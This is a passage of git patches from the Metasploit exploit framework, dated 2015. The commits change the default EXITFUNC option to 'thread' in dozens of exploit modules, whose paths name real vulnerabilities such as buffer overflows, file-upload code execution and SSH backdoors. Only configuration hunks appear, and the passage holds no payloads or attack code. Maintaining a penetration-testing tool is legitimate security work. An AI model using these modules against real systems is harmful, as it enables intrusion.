=> ARCH_PHP, diff --git a/modules/exploits/linux/misc/hp_vsa_login_bof.rb b/modules/exploits/linux/misc/hp_vsa_login_bof.rb index 9d8892643a..5e8b982433 100644 --- a/modules/exploits/linux/misc/hp_vsa_login_bof.rb +++ b/modules/exploits/linux/misc/hp_vsa_login_bof.rb @@ -41,7 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'EXITFUNC' => "none" + 'EXITFUNC' => "thread" }, 'Platform' => ['linux'], 'Arch' => ARCH_X86, diff --git a/modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb b/modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb index 2a112d9f71..f771b7816a 100644 --- a/modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb +++ b/modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb @@ -31,7 +31,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'EXITFUNC' => "none" + 'EXITFUNC' => "thread" }, 'Payload' => { diff --git a/modules/exploits/linux/ssh/symantec_smg_ssh.rb b/modules/exploits/linux/ssh/symantec_smg_ssh.rb index e9a75c612b..82ec73bf7a 100644 --- a/modules/exploits/linux/ssh/symantec_smg_ssh.rb +++ b/modules/exploits/linux/ssh/symantec_smg_ssh.rb @@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'EXITFUNC' => "none" + 'EXITFUNC' => "thread" }, 'Payload' => { diff --git a/modules/exploits/multi/http/apprain_upload_exec.rb b/modules/exploits/multi/http/apprain_upload_exec.rb index e255900dfe..8ff183915a 100644 --- a/modules/exploits/multi/http/apprain_upload_exec.rb +++ b/modules/exploits/multi/http/apprain_upload_exec.rb @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'EXITFUNC' => "none" + 'EXITFUNC' => "thread" }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, diff --git a/modules/exploits/multi/http/cuteflow_upload_exec.rb b/modules/exploits/multi/http/cuteflow_upload_exec.rb index ff4acd7b7a..e240807747 100644 --- a/modules/exploits/multi/http/cuteflow_upload_exec.rb +++ b/modules/exploits/multi/http/cuteflow_upload_exec.rb @@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'EXITFUNC' => "none" + 'EXITFUNC' => "thread" }, 'Platform' => 'php', 'Arch' => ARCH_PHP, diff --git a/modules/exploits/multi/http/log1cms_ajax_create_folder.rb b/modules/exploits/multi/http/log1cms_ajax_create_folder.rb index 91c638d909..e218102719 100644 --- a/modules/exploits/multi/http/log1cms_ajax_create_folder.rb +++ b/modules/exploits/multi/http/log1cms_ajax_create_folder.rb @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'EXITFUNC' => "none" + 'EXITFUNC' => "thread" }, 'Platform' => 'php', 'Arch' => ARCH_PHP, diff --git a/modules/exploits/multi/http/php_volunteer_upload_exec.rb b/modules/exploits/multi/http/php_volunteer_upload_exec.rb index 388ce73409..789f6c7d50 100644 --- a/modules/exploits/multi/http/php_volunteer_upload_exec.rb +++ b/modules/exploits/multi/http/php_volunteer_upload_exec.rb @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'EXITFUNC' => "none" + 'EXITFUNC' => "thread" }, 'Platform' => 'php', 'Arch' => ARCH_PHP, diff --git a/modules/exploits/multi/http/qdpm_upload_exec.rb b/modules/exploits/multi/http/qdpm_upload_exec.rb index 0733d78340..ee7ea7aaad 100644 --- a/modules/exploits/multi/http/qdpm_upload_exec.rb +++ b/modules/exploits/multi/http/qdpm_upload_exec.rb @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'EXITFUNC' => "none" + 'EXITFUNC' => "thread" }, 'Platform' => %w{ linux php }, 'Targets' => diff --git a/modules/exploits/multi/http/testlink_upload_exec.rb b/modules/exploits/multi/http/testlink_upload_exec.rb index 759dc9d86c..0506eb9b1b 100644 --- a/modules/exploits/multi/http/testlink_upload_exec.rb +++ b/modules/exploits/multi/http/testlink_upload_exec.rb @@ -37,7 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'EXITFUNC' => "none" + 'EXITFUNC' => "thread" }, 'Platform' => 'php', 'Arch' => ARCH_PHP, diff --git a/modules/exploits/multi/http/webpagetest_upload_exec.rb b/modules/exploits/multi/http/webpagetest_upload_exec.rb index 85466e8107..1b2a7b03e8 100644 --- a/modules/exploits/multi/http/webpagetest_upload_exec.rb +++ b/modules/exploits/multi/http/webpagetest_upload_exec.rb @@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'EXITFUNC' => "none" + 'EXITFUNC' => "thread" }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, diff --git a/modules/exploits/multi/http/wikka_spam_exec.rb b/modules/exploits/multi/http/wikka_spam_exec.rb index 3e35d782a0..dc87b6136f 100644 --- a/modules/exploits/multi/http/wikka_spam_exec.rb +++ b/modules/exploits/multi/http/wikka_spam_exec.rb @@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'EXITFUNC' => "none" + 'EXITFUNC' => "thread" }, 'Arch' => ARCH_PHP, 'Platform' => ['php'], diff --git a/modules/exploits/multi/misc/batik_svg_java.rb b/modules/exploits/multi/misc/batik_svg_java.rb index 1f9b79cf27..7f685f4523 100644 --- a/modules/exploits/multi/misc/batik_svg_java.rb +++ b/modules/exploits/multi/misc/batik_svg_java.rb @@ -45,7 +45,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'EXITFUNC' => "none" + 'EXITFUNC' => "thread" }, 'Platform' => %w{ java linux win }, 'Targets' => diff --git a/modules/exploits/multi/misc/hp_vsa_exec.rb b/modules/exploits/multi/misc/hp_vsa_exec.rb index 19d12eac2c..5326d48772 100644 --- a/modules/exploits/multi/misc/hp_vsa_exec.rb +++ b/modules/exploits/multi/misc/hp_vsa_exec.rb @@ -44,7 +44,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'EXITFUNC' => "none" + 'EXITFUNC' => "thread" }, 'Platform' => %w{ linux unix }, 'Arch' => ARCH_CMD, diff --git a/modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb b/modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb index d874001296..a9a0b2b0e1 100644 --- a/modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb +++ b/modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb @@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'EXITFUNC' => "none" + 'EXITFUNC' => "thread" }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, diff --git a/modules/exploits/unix/webapp/egallery_upload_exec.rb b/modules/exploits/unix/webapp/egallery_upload_exec.rb index 8324f65847..7b801357bd 100644 --- a/modules/exploits/unix/webapp/egallery_upload_exec.rb +++ b/modules/exploits/unix/webapp/egallery_upload_exec.rb @@ -37,7 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'EXITFUNC' => "none" + 'EXITFUNC' => "thread" }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, diff --git a/modules/exploits/unix/webapp/php_charts_exec.rb b/modules/exploits/unix/webapp/php_charts_exec.rb index 43137f9c02..841900d095 100644 --- a/modules/exploits/unix/webapp/php_charts_exec.rb +++ b/modules/exploits/unix/webapp/php_charts_exec.rb @@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'EXITFUNC' => "none" + 'EXITFUNC' => "thread" }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, diff --git a/modules/exploits/unix/webapp/xoda_file_upload.rb b/modules/exploits/unix/webapp/xoda_file_upload.rb index 1cd9b195ee..496569e1ed 100644 --- a/modules/exploits/unix/webapp/xoda_file_upload.rb +++ b/modules/exploits/unix/webapp/xoda_file_upload.rb @@ -37,7 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'EXITFUNC' => "none" + 'EXITFUNC' => "thread" }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, diff --git a/modules/exploits/windows/ftp/quickshare_traversal_write.rb b/modules/exploits/windows/ftp/quickshare_traversal_write.rb index b3a6fd3fd8..ca1a8598c2 100644 --- a/modules/exploits/windows/ftp/quickshare_traversal_write.rb +++ b/modules/exploits/windows/ftp/quickshare_traversal_write.rb @@ -43,7 +43,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'EXITFUNC' => "none" + 'EXITFUNC' => "thread" }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/tftp/distinct_tftp_traversal.rb b/modules/exploits/windows/tftp/distinct_tftp_traversal.rb index 9661290530..dc02fec019 100644 --- a/modules/exploits/windows/tftp/distinct_tftp_traversal.rb +++ b/modules/exploits/windows/tftp/distinct_tftp_traversal.rb @@ -40,7 +40,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'EXITFUNC' => "none" + 'EXITFUNC' => "thread" }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/tftp/netdecision_tftp_traversal.rb b/modules/exploits/windows/tftp/netdecision_tftp_traversal.rb index 4dae3e86ce..84aa7f77b3 100644 --- a/modules/exploits/windows/tftp/netdecision_tftp_traversal.rb +++ b/modules/exploits/windows/tftp/netdecision_tftp_traversal.rb @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'EXITFUNC' => "none" + 'EXITFUNC' => "thread" }, 'Platform' => 'win', 'Targets' => From 3e613dc333bbd69f4b7bedd6a4e1d0feb82d2d75 Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer <firefart@gmail.com> Date: Tue, 1 Sep 2015 10:43:45 +0200 Subject: [PATCH 0450/2172] change exitfunc to thread --- modules/exploits/apple_ios/ssh/cydia_default_ssh.rb | 2 +- modules/exploits/linux/http/openfiler_networkcard_exec.rb | 2 +- modules/exploits/linux/http/symantec_web_gateway_file_upload.rb | 2 +- modules/exploits/linux/http/symantec_web_gateway_lfi.rb | 2 +- modules/exploits/linux/http/wanem_exec.rb | 2 +- modules/exploits/linux/http/zen_load_balancer_exec.rb | 2 +- modules/exploits/linux/misc/hp_vsa_login_bof.rb | 2 +- modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb | 2 +- modules/exploits/linux/ssh/symantec_smg_ssh.rb | 2 +- modules/exploits/multi/http/apprain_upload_exec.rb | 2 +- modules/exploits/multi/http/cuteflow_upload_exec.rb | 2 +- modules/exploits/multi/http/log1cms_ajax_create_folder.rb | 2 +- modules/exploits/multi/http/php_volunteer_upload_exec.rb | 2 +- modules/exploits/multi/http/qdpm_upload_exec.rb | 2 +- modules/exploits/multi/http/testlink_upload_exec.rb | 2 +- modules/exploits/multi/http/webpagetest_upload_exec.rb | 2 +- modules/exploits/multi/http/wikka_spam_exec.rb | 2 +- modules/exploits/multi/misc/batik_svg_java.rb | 2 +- modules/exploits/multi/misc/hp_vsa_exec.rb | 2 +- modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb | 2 +- modules/exploits/unix/webapp/egallery_upload_exec.rb | 2 +- modules/exploits/unix/webapp/php_charts_exec.rb | 2 +- modules/exploits/unix/webapp/xoda_file_upload.rb | 2 +- modules/exploits/windows/ftp/quickshare_traversal_write.rb | 2 +- modules/exploits/windows/http/intrasrv_bof.rb | 2 +- modules/exploits/windows/tftp/distinct_tftp_traversal.rb | 2 +- modules/exploits/windows/tftp/netdecision_tftp_traversal.rb | 2 +- 27 files changed, 27 insertions(+), 27 deletions(-) diff --git a/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb b/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb index 3863b1f379..2b6fdc0353 100644 --- a/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb +++ b/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb @@ -30,7 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'EXITFUNC' => "thread" + 'EXITFUNC' => 'thread' }, 'Payload' => { diff --git a/modules/exploits/linux/http/openfiler_networkcard_exec.rb b/modules/exploits/linux/http/openfiler_networkcard_exec.rb index 78036de0f3..7877dd383e 100644 --- a/modules/exploits/linux/http/openfiler_networkcard_exec.rb +++ b/modules/exploits/linux/http/openfiler_networkcard_exec.rb @@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'EXITFUNC' => 'none' + 'EXITFUNC' => 'thread' }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, diff --git a/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb b/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb index 2956cc57d0..5eef56db31 100644 --- a/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb +++ b/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb @@ -40,7 +40,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'EXITFUNC' => "thread" + 'EXITFUNC' => 'thread' }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, diff --git a/modules/exploits/linux/http/symantec_web_gateway_lfi.rb b/modules/exploits/linux/http/symantec_web_gateway_lfi.rb index 3e4b09c076..ca0376af14 100644 --- a/modules/exploits/linux/http/symantec_web_gateway_lfi.rb +++ b/modules/exploits/linux/http/symantec_web_gateway_lfi.rb @@ -43,7 +43,7 @@ class Metasploit3 < Msf::Exploit::Remote { 'WfsDelay' => 300, #5 minutes 'DisablePayloadHandler' => 'false', - 'EXITFUNC' => "thread" + 'EXITFUNC' => 'thread' }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, diff --git a/modules/exploits/linux/http/wanem_exec.rb b/modules/exploits/linux/http/wanem_exec.rb index 904afab6d8..f8d475ac63 100644 --- a/modules/exploits/linux/http/wanem_exec.rb +++ b/modules/exploits/linux/http/wanem_exec.rb @@ -49,7 +49,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'EXITFUNC' => 'none' + 'EXITFUNC' => 'thread' }, 'Targets' => [ diff --git a/modules/exploits/linux/http/zen_load_balancer_exec.rb b/modules/exploits/linux/http/zen_load_balancer_exec.rb index ef5e5113f8..35c7820ccb 100644 --- a/modules/exploits/linux/http/zen_load_balancer_exec.rb +++ b/modules/exploits/linux/http/zen_load_balancer_exec.rb @@ -32,7 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'EXITFUNC' => 'none' + 'EXITFUNC' => 'thread' }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, diff --git a/modules/exploits/linux/misc/hp_vsa_login_bof.rb b/modules/exploits/linux/misc/hp_vsa_login_bof.rb index 5e8b982433..f79e544ae1 100644 --- a/modules/exploits/linux/misc/hp_vsa_login_bof.rb +++ b/modules/exploits/linux/misc/hp_vsa_login_bof.rb @@ -41,7 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'EXITFUNC' => "thread" + 'EXITFUNC' => 'thread' }, 'Platform' => ['linux'], 'Arch' => ARCH_X86, diff --git a/modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb b/modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb index f771b7816a..adaf2121bd 100644 --- a/modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb +++ b/modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb @@ -31,7 +31,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'EXITFUNC' => "thread" + 'EXITFUNC' => 'thread' }, 'Payload' => { diff --git a/modules/exploits/linux/ssh/symantec_smg_ssh.rb b/modules/exploits/linux/ssh/symantec_smg_ssh.rb index 82ec73bf7a..da603fe255 100644 --- a/modules/exploits/linux/ssh/symantec_smg_ssh.rb +++ b/modules/exploits/linux/ssh/symantec_smg_ssh.rb @@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'EXITFUNC' => "thread" + 'EXITFUNC' => 'thread' }, 'Payload' => { diff --git a/modules/exploits/multi/http/apprain_upload_exec.rb b/modules/exploits/multi/http/apprain_upload_exec.rb index 8ff183915a..6b2f6d616e 100644 --- a/modules/exploits/multi/http/apprain_upload_exec.rb +++ b/modules/exploits/multi/http/apprain_upload_exec.rb @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'EXITFUNC' => "thread" + 'EXITFUNC' => 'thread' }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, diff --git a/modules/exploits/multi/http/cuteflow_upload_exec.rb b/modules/exploits/multi/http/cuteflow_upload_exec.rb index e240807747..63fc450568 100644 --- a/modules/exploits/multi/http/cuteflow_upload_exec.rb +++ b/modules/exploits/multi/http/cuteflow_upload_exec.rb @@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'EXITFUNC' => "thread" + 'EXITFUNC' => 'thread' }, 'Platform' => 'php', 'Arch' => ARCH_PHP, diff --git a/modules/exploits/multi/http/log1cms_ajax_create_folder.rb b/modules/exploits/multi/http/log1cms_ajax_create_folder.rb index e218102719..5360e33007 100644 --- a/modules/exploits/multi/http/log1cms_ajax_create_folder.rb +++ b/modules/exploits/multi/http/log1cms_ajax_create_folder.rb @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'EXITFUNC' => "thread" + 'EXITFUNC' => 'thread' }, 'Platform' => 'php', 'Arch' => ARCH_PHP, diff --git a/modules/exploits/multi/http/php_volunteer_upload_exec.rb b/modules/exploits/multi/http/php_volunteer_upload_exec.rb index 789f6c7d50..8f8a58f69d 100644 --- a/modules/exploits/multi/http/php_volunteer_upload_exec.rb +++ b/modules/exploits/multi/http/php_volunteer_upload_exec.rb @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'EXITFUNC' => "thread" + 'EXITFUNC' => 'thread' }, 'Platform' => 'php', 'Arch' => ARCH_PHP, diff --git a/modules/exploits/multi/http/qdpm_upload_exec.rb b/modules/exploits/multi/http/qdpm_upload_exec.rb index ee7ea7aaad..2b5fe040b1 100644 --- a/modules/exploits/multi/http/qdpm_upload_exec.rb +++ b/modules/exploits/multi/http/qdpm_upload_exec.rb @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'EXITFUNC' => "thread" + 'EXITFUNC' => 'thread' }, 'Platform' => %w{ linux php }, 'Targets' => diff --git a/modules/exploits/multi/http/testlink_upload_exec.rb b/modules/exploits/multi/http/testlink_upload_exec.rb index 0506eb9b1b..b64dc1083e 100644 --- a/modules/exploits/multi/http/testlink_upload_exec.rb +++ b/modules/exploits/multi/http/testlink_upload_exec.rb @@ -37,7 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'EXITFUNC' => "thread" + 'EXITFUNC' => 'thread' }, 'Platform' => 'php', 'Arch' => ARCH_PHP, diff --git a/modules/exploits/multi/http/webpagetest_upload_exec.rb b/modules/exploits/multi/http/webpagetest_upload_exec.rb index 1b2a7b03e8..41e4dfa4da 100644 --- a/modules/exploits/multi/http/webpagetest_upload_exec.rb +++ b/modules/exploits/multi/http/webpagetest_upload_exec.rb @@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'EXITFUNC' => "thread" + 'EXITFUNC' => 'thread' }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, diff --git a/modules/exploits/multi/http/wikka_spam_exec.rb b/modules/exploits/multi/http/wikka_spam_exec.rb index dc87b6136f..44cedf1ed7 100644 --- a/modules/exploits/multi/http/wikka_spam_exec.rb +++ b/modules/exploits/multi/http/wikka_spam_exec.rb @@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'EXITFUNC' => "thread" + 'EXITFUNC' => 'thread' }, 'Arch' => ARCH_PHP, 'Platform' => ['php'], diff --git a/modules/exploits/multi/misc/batik_svg_java.rb b/modules/exploits/multi/misc/batik_svg_java.rb index 7f685f4523..e1b3ec975e 100644 --- a/modules/exploits/multi/misc/batik_svg_java.rb +++ b/modules/exploits/multi/misc/batik_svg_java.rb @@ -45,7 +45,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'EXITFUNC' => "thread" + 'EXITFUNC' => 'thread' }, 'Platform' => %w{ java linux win }, 'Targets' => diff --git a/modules/exploits/multi/misc/hp_vsa_exec.rb b/modules/exploits/multi/misc/hp_vsa_exec.rb index 5326d48772..3d8ddbb225 100644 --- a/modules/exploits/multi/misc/hp_vsa_exec.rb +++ b/modules/exploits/multi/misc/hp_vsa_exec.rb @@ -44,7 +44,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'EXITFUNC' => "thread" + 'EXITFUNC' => 'thread' }, 'Platform' => %w{ linux unix }, 'Arch' => ARCH_CMD, diff --git a/modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb b/modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb index a9a0b2b0e1..62157107f4 100644 --- a/modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb +++ b/modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb @@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'EXITFUNC' => "thread" + 'EXITFUNC' => 'thread' }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, diff --git a/modules/exploits/unix/webapp/egallery_upload_exec.rb b/modules/exploits/unix/webapp/egallery_upload_exec.rb index 7b801357bd..a218ee92b0 100644 --- a/modules/exploits/unix/webapp/egallery_upload_exec.rb +++ b/modules/exploits/unix/webapp/egallery_upload_exec.rb @@ -37,7 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'EXITFUNC' => "thread" + 'EXITFUNC' => 'thread' }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, diff --git a/modules/exploits/unix/webapp/php_charts_exec.rb b/modules/exploits/unix/webapp/php_charts_exec.rb index 841900d095..1abaf45dba 100644 --- a/modules/exploits/unix/webapp/php_charts_exec.rb +++ b/modules/exploits/unix/webapp/php_charts_exec.rb @@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'EXITFUNC' => "thread" + 'EXITFUNC' => 'thread' }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, diff --git a/modules/exploits/unix/webapp/xoda_file_upload.rb b/modules/exploits/unix/webapp/xoda_file_upload.rb index 496569e1ed..410ba14ceb 100644 --- a/modules/exploits/unix/webapp/xoda_file_upload.rb +++ b/modules/exploits/unix/webapp/xoda_file_upload.rb @@ -37,7 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'EXITFUNC' => "thread" + 'EXITFUNC' => 'thread' }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, diff --git a/modules/exploits/windows/ftp/quickshare_traversal_write.rb b/modules/exploits/windows/ftp/quickshare_traversal_write.rb index ca1a8598c2..a051ee3057 100644 --- a/modules/exploits/windows/ftp/quickshare_traversal_write.rb +++ b/modules/exploits/windows/ftp/quickshare_traversal_write.rb @@ -43,7 +43,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'EXITFUNC' => "thread" + 'EXITFUNC' => 'thread' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/http/intrasrv_bof.rb b/modules/exploits/windows/http/intrasrv_bof.rb index 18dfa6cf7e..936bfb0e44 100644 --- a/modules/exploits/windows/http/intrasrv_bof.rb +++ b/modules/exploits/windows/http/intrasrv_bof.rb @@ -41,7 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'EXITFUNC' => "thread" + 'EXITFUNC' => 'thread' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/tftp/distinct_tftp_traversal.rb b/modules/exploits/windows/tftp/distinct_tftp_traversal.rb index dc02fec019..49588e2655 100644 --- a/modules/exploits/windows/tftp/distinct_tftp_traversal.rb +++ b/modules/exploits/windows/tftp/distinct_tftp_traversal.rb @@ -40,7 +40,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'EXITFUNC' => "thread" + 'EXITFUNC' => 'thread' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/tftp/netdecision_tftp_traversal.rb b/modules/exploits/windows/tftp/netdecision_tftp_traversal.rb index 84aa7f77b3..0e3e0d5811 100644 --- a/modules/exploits/windows/tftp/netdecision_tftp_traversal.rb +++ b/modules/exploits/windows/tftp/netdecision_tftp_traversal.rb @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'EXITFUNC' => "thread" + 'EXITFUNC' => 'thread' }, 'Platform' => 'win', 'Targets' => From 5398bf78eb1ed62e4a691ca9138dcae39d8399fd Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer <firefart@gmail.com> Date: Tue, 1 Sep 2015 10:46:54 +0200 Subject: [PATCH 0451/2172] change exitfunc to thread --- modules/exploits/windows/browser/clear_quest_cqole.rb | 2 +- modules/exploits/windows/browser/getgodm_http_response_bof.rb | 2 +- .../exploits/windows/browser/msxml_get_definition_code_exec.rb | 2 +- .../windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb | 2 +- modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb | 2 +- modules/exploits/windows/fileformat/actfax_import_users_bof.rb | 2 +- modules/exploits/windows/fileformat/allplayer_m3u_bof.rb | 2 +- modules/exploits/windows/fileformat/blazedvd_hdtv_bof.rb | 2 +- modules/exploits/windows/fileformat/bpftp_client_bps_bof.rb | 2 +- modules/exploits/windows/fileformat/easycdda_pls_bof.rb | 2 +- modules/exploits/windows/fileformat/erdas_er_viewer_bof.rb | 2 +- .../windows/fileformat/erdas_er_viewer_rf_report_error.rb | 2 +- modules/exploits/windows/fileformat/iftp_schedule_bof.rb | 2 +- modules/exploits/windows/fileformat/ispvm_xcf_ispxcf.rb | 2 +- modules/exploits/windows/fileformat/lattice_pac_bof.rb | 2 +- modules/exploits/windows/fileformat/mplayer_m3u_bof.rb | 2 +- modules/exploits/windows/fileformat/mswin_tiff_overflow.rb | 2 +- modules/exploits/windows/fileformat/publishit_pui.rb | 2 +- .../exploits/windows/fileformat/real_player_url_property_bof.rb | 2 +- .../exploits/windows/fileformat/realplayer_ver_attribute_bof.rb | 2 +- modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb | 2 +- .../exploits/windows/fileformat/total_video_player_ini_bof.rb | 2 +- modules/exploits/windows/http/ezserver_http.rb | 2 +- modules/exploits/windows/http/rabidhamster_r4_log.rb | 2 +- modules/exploits/windows/misc/allmediaserver_bof.rb | 2 +- modules/exploits/windows/scada/winlog_runtime_2.rb | 2 +- 26 files changed, 26 insertions(+), 26 deletions(-) diff --git a/modules/exploits/windows/browser/clear_quest_cqole.rb b/modules/exploits/windows/browser/clear_quest_cqole.rb index f9f806ec38..e9a1aced93 100644 --- a/modules/exploits/windows/browser/clear_quest_cqole.rb +++ b/modules/exploits/windows/browser/clear_quest_cqole.rb @@ -50,7 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'EXITFUNC' => "process", + 'EXITFUNC' => 'thread', 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', diff --git a/modules/exploits/windows/browser/getgodm_http_response_bof.rb b/modules/exploits/windows/browser/getgodm_http_response_bof.rb index 82f10aaad3..28762797c1 100644 --- a/modules/exploits/windows/browser/getgodm_http_response_bof.rb +++ b/modules/exploits/windows/browser/getgodm_http_response_bof.rb @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'EXITFUNC' => 'process', + 'EXITFUNC' => 'thread', 'URIPATH' => "/shakeitoff.mp3" }, 'Platform' => 'win', diff --git a/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb b/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb index 1279add8bf..dbc11ff69b 100644 --- a/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb +++ b/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb @@ -56,7 +56,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'EXITFUNC' => "process", + 'EXITFUNC' => 'thread', 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', diff --git a/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb b/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb index 66576fcaa6..74706eabcb 100644 --- a/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb +++ b/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb @@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'EXITFUNC' => "seh", + 'EXITFUNC' => 'thread', 